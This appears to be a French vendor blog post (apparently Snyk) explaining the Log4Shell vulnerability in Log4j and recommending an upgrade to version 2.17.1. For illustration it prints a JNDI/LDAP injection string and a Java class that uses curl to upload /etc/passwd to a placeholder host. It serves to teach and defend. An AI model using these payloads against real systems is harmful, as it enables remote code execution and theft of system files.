Vulnérabilité Log4j expliquée : empêcher l’exécution de code à distance via Log4Shell en passant à la version 2.17.1

Aujourd’hui (10 décembre 2021), une nouvelle vulnérabilité critique de Log4j a été révélée : Log4Shell. Cette vulnérabilité dans le framework de journalisation Java très répandu a été publiée sous le nom CVE-2021-44228 et classée Critical, avec un score CVSS de 10 (le score maximal possible). Elle a été découverte par Chen Zhaojun, de l’équipe Cloud Security d’Alibaba.

Presque toutes les versions de Log4j 2 sont concernées. Pour corriger la vulnérabilité, vous devez passer à la version 2.17.1. Pour obtenir des conseils détaillés, consultez notre fiche de correction Log4Shell.

De nombreux frameworks applicatifs de l’écosystème Java utilisent ce framework de journalisation par défaut. Apache Struts 2, Apache Solr et Apache Druid sont notamment concernés. Apache Log4j est également utilisé dans de nombreuses applications Spring et Spring Boot. Nous vous recommandons donc de vérifier vos applications et de les mettre à jour vers la dernière version.

Quelle est la gravité de Log4Shell ?

La réponse est simple : « très grave » ! La vulnérabilité Log4Shell a d’abord été repérée dans Minecraft. Microsoft a rapidement déployé un correctif d’urgence pour résoudre le problème. TechCrunch rapporte qu’Apple, Amazon, Twitter et Cloudflare sont vulnérables à l’attaque Log4Shell. Selon TechCrunch, « l’équipe d’intervention en cas d’urgence informatique (CERT) de Nouvelle-Zélande, le CERT de Deutsche Telekom et le service de surveillance Web Greynoise ont tous averti que les attaquants recherchent activement des serveurs vulnérables aux attaques Log4Shell. Selon ce dernier, une centaine d’hôtes différents analysent Internet à la recherche de moyens d’exploiter la vulnérabilité Log4j. »

Explication de la vulnérabilité Log4Shell

Lorsqu’une version vulnérable de Log4j est utilisée, toute donnée entrante consignée peut entraîner une exécution de code à distance (RCE). Par exemple, si JNDI (Java Naming and Directory Interface) est utilisé pour se connecter à une URL LDAP et la consigner (comme ci-dessous), il est possible de renvoyer une charge utile malveillante contenant une injection de code.

Dans l’extrait de code ci-dessous, examinez l’argument fourni par un utilisateur. Si cet argument n’est pas conforme, nous consignons une erreur. Mais si la saisie utilisateur est "${jndi:ldap://someurl/Evil}”, la vulnérabilité Log4Shell est déclenchée, car nous savons que cette saisie sera consignée comme une erreur.

1try {
2   checkout(arg);
3} catch (Exception e) {
4   logger.error("Failed to checkout with arg " + arg)
5}

Si vous savez que la saisie est consignée avec Log4j, vous pouvez configurer un serveur LDAP et renvoyer un fichier de classe compilé qui exécute du code. Vous trouverez ci-dessous un exemple de ce type de classe. Cet objet envoie mon fichier /etc/passwđ vers une URL externe à l’aide de curl. Notez que cette saisie utilisateur peut être dissimulée, par exemple, dans l’en-tête d’un appel HTTP. Lorsque le logger évalue la chaîne, l’appel au serveur LDAP malveillant est effectué.

1public  class RefactoredName implements  ObjectFactory  {
2   @Override
3   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
4       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' http://someurl/upload");
5       return  null;
6   }
7}

Selon cet article de Luncasec consacré à ce problème, toutes les versions de Java sont concernées. Les versions du JDK supérieures à 6u211, 7u201, 8u191 et 11.0.1 ne semblaient pas affectées par cette attaque LDAP, car elles définissent com.sun.jndi.ldap.object.trustURLCodebase sur false par défaut. Toutefois, si la classe renvoyée par le serveur LDAP est déjà disponible dans le classpath, elle sera exécutée même avec les versions récentes du JDK et même si com.sun.jndi.ldap.object.trustURLCodebase est défini sur false.

Cela signifie que si l’application comporte une chaîne de gadgets de désérialisation, il est possible de déclencher cette désérialisation et l’exécution de code à distance. La bibliothèque Apache Commons Collections 3.1, qui comprend une telle chaîne, en est un exemple connu. Une combinaison de bibliothèques et de classes dans vos applications peut également former une chaîne de ce type. Pour en savoir plus sur les problèmes de désérialisation, consultez notre article Sérialisation et désérialisation en Java : explication de la vulnérabilité de désérialisation Java. En résumé, toutes les versions de Java sont concernées par cette attaque !

Corriger la vulnérabilité Log4Shell

Le moyen le plus simple de corriger la vulnérabilité consiste à passer à Log4j version 2.17.1 ou ultérieure, car ce comportement est désormais désactivé par défaut. Dans les versions précédentes (>2.10), vous pouvez atténuer ce risque en définissant la propriété système log4j2.formatMsgNoLookups sur true en ajoutant le paramètre Java suivant : -Dlog4j2.formatMsgNoLookups=true

Vous pouvez également atténuer cette vulnérabilité en supprimant la classe JndiLookup du classpath.

Consultez notre guide pour découvrir comment détecter et corriger les vulnérabilités Log4Shell avec Snyk.

Analyser et mettre à jour pour prévenir les vulnérabilités

Cette vulnérabilité Log4j montre une fois encore qu’il est important d’analyser vos applications à la recherche de vulnérabilités et de le faire régulièrement pour préserver la sécurité de votre chaîne d’approvisionnement logicielle. Il est également important de mettre à jour votre distribution Java vers la version la plus récente afin de bénéficier des dernières améliorations de sécurité.

L’analyse de votre application avec Snyk Open Source vous permet de détecter les vulnérabilités dans vos bibliothèques open source, y compris ce problème lié à Log4j. L’exemple ci-dessous présente le résultat de mon plug-in IntelliJ IDEA, qui signale le problème et fournit des conseils de correction.

Log4j est-il vulnérable ?

Oui. Toutes les versions de Log4j comprises entre 2.0-beta9 et 2.14.1 sont concernées par la vulnérabilité Log4Shell. Il s’agit d’une vulnérabilité critique qui nécessite une intervention urgente et peut entraîner des attaques par exécution de code à distance (RCE).

Quels logiciels utilisent Log4j ?

Log4j est largement utilisé par les éditeurs, les projets open source, les frameworks et les grands projets de fondations. Outre les millions d’applications Java qui utilisent Log4j, de nombreux projets de l’Apache Software Foundation l’emploient également, notamment Apache Solr, Apache Struts2, Apache Kafka, Apache Druid, Apache Flink, Apache Swift et bien d’autres.

Comment vérifier si Log4j est utilisé ?

Toutes les versions comprises entre 2.0-beta9 et 2.14.1 sont concernées par cette nouvelle vulnérabilité. Snyk peut vous indiquer si vous utilisez des versions vulnérables du package et si elles figurent dans votre graphe de dépendances en tant que dépendance directe ou transitive. Snyk vous aide également à corriger automatiquement Log4Shell tout au long de votre cycle de vie de développement logiciel (SDLC).

Comment corriger la vulnérabilité Log4j ?

Le moyen le plus simple de corriger la vulnérabilité consiste à passer à Log4j version 2.17.1 ou ultérieure, car ce comportement est désormais désactivé par défaut. La version 2.17.1 corrige également CVE-2021-45046. Cette vulnérabilité Log4j montre une fois encore qu’il est important d’analyser vos applications à la recherche de vulnérabilités et de le faire régulièrement pour préserver la sécurité de votre chaîne d’approvisionnement logicielle. Pour obtenir davantage de conseils de correction, consultez notre fiche de correction Log4Shell.